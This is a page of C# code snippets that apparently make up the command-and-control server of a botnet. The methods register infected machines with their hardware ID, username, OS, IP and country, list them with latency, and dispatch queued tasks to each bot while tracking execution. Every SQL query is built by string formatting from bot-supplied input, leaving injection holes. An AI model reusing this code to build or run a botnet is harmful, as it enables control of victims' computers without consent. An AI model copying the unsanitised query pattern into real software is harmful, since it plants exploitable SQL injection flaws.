Beispiel #1
0
 public void SetTaskExecuted(CBot Bot, int iTaskID)
 {
     CMain.DatabaseClient.ExecuteNonResultQuery(
         string.Format(
             "UPDATE tasks SET task_executed_ok=task_executed_ok + 1 WHERE task_id={0}",
             iTaskID)
         );
 }
Beispiel #2
0
 public void ReplaceBySocket(CClient Client, CBot Bot)
 {
     lock (lstBot)
     {
         for (int i = 0; i < lstBot.Count; i++)
         {
             if (lstBot[i].BotClient == Client)
             {
                 lstBot[i] = Bot;
             }
         }
     }
 }
Beispiel #3
0
        bool IsTaskExecuted(CBot Bot, int iTaskID)
        {
            try
            {
                return(CMain.DatabaseClient.ExecuteCountQuery(
                           string.Format(
                               "SELECT COUNT(*) FROM tasks_executed WHERE task_id={0} and bot_id={1}",
                               iTaskID, Bot.BotID)
                           ) > 0);
            }
            catch { }

            return(false);
        }
Beispiel #4
0
        public Boolean AddBot(CClient Client, String[] arr_strArguments)
        {
            try
            {
                CBot Bot = new CBot();
                Bot.BotClient = Client;
                try
                {
                    if (arr_strArguments.Length >= 5)
                    {
                        Bot.BotIPv4 = IPAddress.Parse(arr_strArguments[4]);
                    }
                }
                catch
                {
                    Bot.BotIPv4 = IPAddress.Parse("127.0.0.1");
                }

                SQLiteDataReader Result = CMain.DatabaseClient.ExecuteReadQuery(
                    String.Format(
                        "SELECT * FROM bots WHERE bot_hwid='{0}'",
                        arr_strArguments[3])
                    );

                if (Result.HasRows)
                {
                    if (Result.Read())
                    {
                        if (Int32.TryParse(Result["bot_id"].ToString(), out Bot.BotID))
                        {
                            CMain.DatabaseClient.ExecuteNonResultQuery(
                                string.Format(
                                    "UPDATE bots SET bot_ipv4='{0}', bot_version='{1}', bot_os='{2}', bot_username='******', bot_hwid='{4}', bot_isonline=1 WHERE bot_id={5}",
                                    Bot.BotIPv4.ToString(), arr_strArguments[0], arr_strArguments[1], arr_strArguments[2], arr_strArguments[3], Bot.BotID)
                                );
                        }
                    }
                }
                else
                {
                    Result = CMain.DatabaseClient.ExecuteReadQuery(
                        string.Format(
                            "INSERT INTO bots(bot_ipv4, bot_version, bot_os, bot_username, bot_hwid, bot_isonline, bot_country) VALUES('{0}', '{1}', '{2}', '{3}', '{4}', 1, '{5}'); SELECT * FROM bots WHERE bot_hwid='{4}'",
                            Bot.BotIPv4.ToString(), arr_strArguments[0], arr_strArguments[1], arr_strArguments[2], arr_strArguments[3], CMain.ls.getCountry(Bot.BotIPv4).getName())
                        );

                    if (Result.Read())
                    {
                        if (!Int32.TryParse(Result["bot_id"].ToString(), out Bot.BotID))
                        {
                            return(false);
                        }
                    }
                }

                Console.WriteLine("[EVENT] New bot: IPv4: {0} | ID: {1}", Bot.BotIPv4.ToString(), Bot.BotID);

                lock (lstBot)
                {
                    lstBot.Add(Bot);
                }
                return(true);
            }
            catch
            {
            }
            return(false);
        }
Beispiel #5
0
        public String GetBotlist(Int32 iPage)
        {
            if (iPage > CUtilities.GetPageCount(this.GetTotal()))
            {
                return(String.Empty);
            }

            try
            {
                StringBuilder sbBotlist = new StringBuilder();

                String strQuery = String.Format("SELECT * FROM bots LIMIT {0}, {1}", (iPage - 1) * CConfig.ResultsPerPage, CConfig.ResultsPerPage);

                SQLiteDataReader Result = CMain.DatabaseClient.ExecuteReadQuery(strQuery);

                if (Result.HasRows)
                {
                    while (Result.Read())
                    {
                        int iBotID = -1;

                        if (!int.TryParse(Result["bot_id"].ToString(), out iBotID))
                        {
                            continue;
                        }

                        int iOnline = -1;

                        if (!int.TryParse(Result["bot_isonline"].ToString(), out iOnline))
                        {
                            continue;
                        }

                        string strLatency = @"N/A";

                        if (iOnline == 1)
                        {
                            CBot Bot = this.GetBotByID(iBotID);

                            if (Bot != null)
                            {
                                double dPing = (Bot.LastPong - Bot.LastPing).TotalMilliseconds;

                                //Because Get CPU Usage at Bot sleep(1000)
                                dPing -= 1000;

                                dPing = Math.Round(dPing, MidpointRounding.AwayFromZero);

                                strLatency = string.Format("{0}ms", dPing);
                            }
                        }

                        sbBotlist.AppendFormat("{0}*{1}*{2}*{3}*{4}*{5}*{6}*{7};",
                                               Result["bot_id"].ToString(),
                                               Result["bot_ipv4"].ToString(),
                                               Result["bot_version"].ToString(),
                                               Result["bot_os"].ToString(),
                                               Result["bot_username"].ToString(),
                                               Result["bot_hwid"].ToString(),
                                               strLatency, iOnline);
                    }
                }

                return(sbBotlist.ToString());
            }
            catch
            {
            }
            return(String.Empty);
        }
Beispiel #6
0
        public string GetNext(CBot Bot)
        {
            try
            {
                SQLiteDataReader Result = CMain.DatabaseClient.ExecuteReadQuery(
                    "SELECT task_id, task, task_parameters FROM tasks WHERE task_executes > task_executed"
                    );

                if (Result.HasRows)
                {
                    while (Result.Read())
                    {
                        int iTaskID = -1;

                        if (!int.TryParse(Result[0].ToString(), out iTaskID))
                        {
                            continue;
                        }

                        if (this.IsTaskExecuted(Bot, iTaskID))
                        {
                            continue;
                        }

                        int iTask = -1;

                        if (!CMain.DatabaseClient.ExecuteNonResultQuery(
                                string.Format(
                                    "UPDATE tasks SET task_executed=task_executed + 1 WHERE task_id={0}",
                                    iTaskID)
                                ))
                        {
                            continue;
                        }

                        if (!CMain.DatabaseClient.ExecuteNonResultQuery(
                                string.Format(
                                    "INSERT INTO tasks_executed(task_id, bot_id) VALUES({0}, {1})",
                                    iTaskID, Bot.BotID)
                                ))
                        {
                            continue;
                        }

                        if (!int.TryParse(Result[1].ToString(), out iTask))
                        {
                            continue;
                        }

                        string strParameters = Result[2].ToString();

                        return(string.Format(
                                   "{0}|{1}|{2}",
                                   iTaskID, iTask, strParameters
                                   ));
                    }
                }
            }
            catch { }
            return(string.Empty);
        }